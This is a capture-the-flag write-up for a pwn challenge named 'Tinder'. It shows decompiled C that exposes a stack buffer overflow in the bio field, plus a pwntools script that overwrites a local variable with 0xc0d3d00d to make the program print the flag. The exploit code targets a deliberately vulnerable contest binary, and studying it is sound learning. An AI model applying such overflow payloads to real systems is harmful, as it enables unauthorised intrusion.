# Tinder
> Start swiping!
Attached is a binary.
## Description
Let's dissassemble the binary with Ghidra. 
```cint main(void){  char local_a8 [32];  char local_88 [64];  char local_48 [16];  char local_38 [16];  char local_28 [16];  FILE *local_18;  int local_14;  undefined *local_10;   local_10 = &stack0x00000004;  local_14 = 0;  setup();  puts("Welcome to TJTinder, please register to start matching!");  printf("Name: ");  input(local_28,1.00000000);  printf("Username: ");  input(local_38,1.00000000);  printf("Password: ");  input(local_48,1.00000000);  printf("Tinder Bio: ");  input(local_88,8.00000000);  putchar(10);  if (local_14 == -0x3f2c2ff3) {    printf("Registered \'%s\' to TJTinder successfully!\n",local_38);    puts("Searching for matches...");    sleep(3);    puts("It\'s a match!");    local_18 = fopen("flag.txt","r");    if (local_18 == (FILE *)0x0) {      puts("Flag File is Missing. Contact a moderator if running on server.");                    /* WARNING: Subroutine does not return */      exit(0);    }    fgets(local_a8,0x20,local_18);    printf("Here is your flag: %s",local_a8);  }  else {    printf("Registered \'%s\' to TJTinder successfully!\n",local_38);    puts("Searching for matches...");    sleep(3);    puts("Sorry, no matches found. Try Again!");  }  return 0;}```
And the input function:
```cint input(char *str,float f){  size_t sVar1;  char *pcVar2;   fgets(str,(int)ROUND(f * 16.00000000),stdin);  sVar1 = strlen(str);  if (1 < sVar1) {    pcVar2 = strchr(str,10);    if (pcVar2 == (char *)0x0) {      do {        str = (char *)fgetc(stdin);      } while (str != (char *)0xa);    }    else {      sVar1 = strlen(str);      str = str + (sVar1 - 1);      *str = '\0';    }    return (int)str;  }  puts("No input detected. Registration failed.");                    /* WARNING: Subroutine does not return */  exit(0);}```
In order to get the flag, the variable `local_14` needs to be set to `-0x3f2c2ff3 = 0xc0d3d00d`.
Reading the code from the `input` function, we see that if `input(buf, x)` is called, then we can enter `16x` characters in the buffer.
Therefore there is a bug and we can overflow the `local88` buffer, entering a maximum of `8 * 16 = 128` characters instead of 64. 
## Solution
Therefore, we overflow the buffer until we overwrite the `local_14` variable.
```pythonfrom pwn import *
sh = remote("p1.tjctf.org", 8002)
print(sh.recvuntil("Name: ").decode())sh.sendline("my name")print(sh.recvuntil("Username: ").decode())sh.sendline("user")print(sh.recvuntil("Password: ").decode())sh.sendline("pass")print(sh.recvuntil("Bio: ").decode())
payload = b' '*(64+16+16+16) + p32(0xc0d3d00d) + p32(0xc0d3d00d) + p32(0xc0d3d00d)sh.sendline(payload)
sh.interactive()```
Flag: `tjctf{0v3rfl0w_0f_m4tch35}`